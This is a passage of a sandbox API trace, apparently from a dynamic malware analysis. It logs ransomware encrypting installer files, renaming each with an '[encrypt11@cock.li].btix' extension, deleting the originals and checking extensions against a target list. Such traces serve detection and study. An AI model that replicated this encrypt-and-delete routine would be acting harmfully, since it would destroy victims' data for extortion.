(lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.379] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.379] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.379] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0043.380] GetLastError () returned 0x0 [0043.380] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x318f, lpOverlapped=0x0) returned 1 [0043.563] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x3190, lpOverlapped=0x0) returned 1 [0043.564] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.564] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.564] SetEndOfFile (hFile=0x350) returned 1 [0043.564] CloseHandle (hObject=0x350) returned 1 [0043.565] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.565] SetEndOfFile (hFile=0x34c) returned 1 [0043.566] CloseHandle (hObject=0x34c) returned 1 [0043.566] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.566] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0043.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.566] lstrlenW (lpString=".doc") returned 4 [0043.566] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.566] lstrlenW (lpString=".docx") returned 5 [0043.567] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.567] lstrlenW (lpString=".pdf") returned 4 [0043.567] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.567] lstrlenW (lpString=".xls") returned 4 [0043.567] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.567] lstrlenW (lpString=".xlsx") returned 5 [0043.567] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.567] lstrlenW (lpString=".ppt") returned 4 [0043.567] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.567] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.567] lstrlenW (lpString=".zip") returned 4 [0043.567] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.567] lstrlenW (lpString=".rar") returned 4 [0043.567] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.567] lstrlenW (lpString=".bz2") returned 4 [0043.567] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.567] lstrlenW (lpString=".7z") returned 3 [0043.567] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.567] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.567] lstrlenW (lpString=".dbf") returned 4 [0043.567] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.567] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.567] lstrlenW (lpString=".1cd") returned 4 [0043.567] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.568] lstrlenW (lpString=".jpg") returned 4 [0043.568] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.568] lstrlenW (lpString=".doc") returned 4 [0043.568] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.568] lstrlenW (lpString=".docx") returned 5 [0043.568] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.568] lstrlenW (lpString=".pdf") returned 4 [0043.568] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.568] lstrlenW (lpString=".xls") returned 4 [0043.568] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.568] lstrlenW (lpString=".xlsx") returned 5 [0043.568] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.568] lstrlenW (lpString=".ppt") returned 4 [0043.568] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.568] lstrlenW (lpString=".zip") returned 4 [0043.568] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.568] lstrlenW (lpString=".rar") returned 4 [0043.568] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.568] lstrlenW (lpString=".bz2") returned 4 [0043.568] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.568] lstrlenW (lpString=".7z") returned 3 [0043.568] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.568] lstrlenW (lpString=".dbf") returned 4 [0043.568] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.568] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.569] lstrlenW (lpString=".1cd") returned 4 [0043.569] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0043.569] lstrlenW (lpString=".jpg") returned 4 [0043.569] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.569] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.569] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.569] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.569] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=65238) returned 1 [0043.569] CloseHandle (hObject=0x34c) returned 1 [0043.569] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0043.569] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.569] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.569] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.569] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.570] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0043.570] GetLastError () returned 0x0 [0043.570] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xfed6, lpOverlapped=0x0) returned 1 [0043.686] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xfee0, lpOverlapped=0x0) returned 1 [0043.687] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.687] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.687] SetEndOfFile (hFile=0x350) returned 1 [0043.688] CloseHandle (hObject=0x350) returned 1 [0043.689] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.689] SetEndOfFile (hFile=0x34c) returned 1 [0043.690] CloseHandle (hObject=0x34c) returned 1 [0043.690] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.690] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0043.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.691] lstrlenW (lpString=".doc") returned 4 [0043.691] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.691] lstrlenW (lpString=".docx") returned 5 [0043.691] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.691] lstrlenW (lpString=".pdf") returned 4 [0043.691] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.691] lstrlenW (lpString=".xls") returned 4 [0043.691] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.691] lstrlenW (lpString=".xlsx") returned 5 [0043.691] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.691] lstrlenW (lpString=".ppt") returned 4 [0043.691] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.691] lstrlenW (lpString=".zip") returned 4 [0043.691] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.691] lstrlenW (lpString=".rar") returned 4 [0043.691] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.691] lstrlenW (lpString=".bz2") returned 4 [0043.691] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.691] lstrlenW (lpString=".7z") returned 3 [0043.691] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.691] lstrlenW (lpString=".dbf") returned 4 [0043.691] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.691] lstrlenW (lpString=".1cd") returned 4 [0043.691] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.691] lstrlenW (lpString=".jpg") returned 4 [0043.691] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.692] lstrlenW (lpString=".doc") returned 4 [0043.692] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.692] lstrlenW (lpString=".docx") returned 5 [0043.692] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.692] lstrlenW (lpString=".pdf") returned 4 [0043.692] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.692] lstrlenW (lpString=".xls") returned 4 [0043.692] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.692] lstrlenW (lpString=".xlsx") returned 5 [0043.692] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.692] lstrlenW (lpString=".ppt") returned 4 [0043.692] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.692] lstrlenW (lpString=".zip") returned 4 [0043.692] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.692] lstrlenW (lpString=".rar") returned 4 [0043.692] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.692] lstrlenW (lpString=".bz2") returned 4 [0043.692] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.692] lstrlenW (lpString=".7z") returned 3 [0043.692] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.692] lstrlenW (lpString=".dbf") returned 4 [0043.692] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.692] lstrlenW (lpString=".1cd") returned 4 [0043.692] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0043.692] lstrlenW (lpString=".jpg") returned 4 [0043.692] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.693] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.693] lstrlenW (lpString="eula.rtf") returned 8 [0043.693] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.693] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=3683) returned 1 [0043.693] CloseHandle (hObject=0x34c) returned 1 [0043.693] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0043.693] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.693] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.693] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.693] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.693] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0043.693] GetLastError () returned 0x0 [0043.693] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xe63, lpOverlapped=0x0) returned 1 [0043.805] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xe70, lpOverlapped=0x0) returned 1 [0043.806] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.806] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.806] SetEndOfFile (hFile=0x350) returned 1 [0043.806] CloseHandle (hObject=0x350) returned 1 [0043.807] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.807] SetEndOfFile (hFile=0x34c) returned 1 [0043.808] CloseHandle (hObject=0x34c) returned 1 [0043.808] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.809] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0043.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.809] lstrlenW (lpString=".doc") returned 4 [0043.809] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.809] lstrlenW (lpString=".docx") returned 5 [0043.809] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.809] lstrlenW (lpString=".pdf") returned 4 [0043.809] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.809] lstrlenW (lpString=".xls") returned 4 [0043.809] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.810] lstrlenW (lpString=".xlsx") returned 5 [0043.810] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.810] lstrlenW (lpString=".ppt") returned 4 [0043.810] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.810] lstrlenW (lpString=".zip") returned 4 [0043.810] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.810] lstrlenW (lpString=".rar") returned 4 [0043.810] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.810] lstrlenW (lpString=".bz2") returned 4 [0043.810] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.810] lstrlenW (lpString=".7z") returned 3 [0043.810] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.810] lstrlenW (lpString=".dbf") returned 4 [0043.810] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.810] lstrlenW (lpString=".1cd") returned 4 [0043.810] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.810] lstrlenW (lpString=".jpg") returned 4 [0043.810] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.810] lstrlenW (lpString=".doc") returned 4 [0043.810] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.810] lstrlenW (lpString=".docx") returned 5 [0043.811] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.811] lstrlenW (lpString=".pdf") returned 4 [0043.811] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.811] lstrlenW (lpString=".xls") returned 4 [0043.811] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.811] lstrlenW (lpString=".xlsx") returned 5 [0043.811] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.811] lstrlenW (lpString=".ppt") returned 4 [0043.811] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.811] lstrlenW (lpString=".zip") returned 4 [0043.811] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.811] lstrlenW (lpString=".rar") returned 4 [0043.811] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.811] lstrlenW (lpString=".bz2") returned 4 [0043.811] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.811] lstrlenW (lpString=".7z") returned 3 [0043.811] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.811] lstrlenW (lpString=".dbf") returned 4 [0043.811] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.811] lstrlenW (lpString=".1cd") returned 4 [0043.811] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0043.811] lstrlenW (lpString=".jpg") returned 4 [0043.811] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.811] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.811] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.811] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.812] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=77680) returned 1 [0043.812] CloseHandle (hObject=0x34c) returned 1 [0043.812] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0043.812] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.812] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.812] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.812] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.812] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0043.812] GetLastError () returned 0x0 [0043.812] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x12f70, lpOverlapped=0x0) returned 1 [0044.202] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x12f80, lpOverlapped=0x0) returned 1 [0044.204] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.204] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xf6, lpOverlapped=0x0) returned 1 [0044.204] SetEndOfFile (hFile=0x350) returned 1 [0044.204] CloseHandle (hObject=0x350) returned 1 [0044.206] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.206] SetEndOfFile (hFile=0x34c) returned 1 [0044.207] CloseHandle (hObject=0x34c) returned 1 [0044.207] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.207] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0044.208] lstrlenW 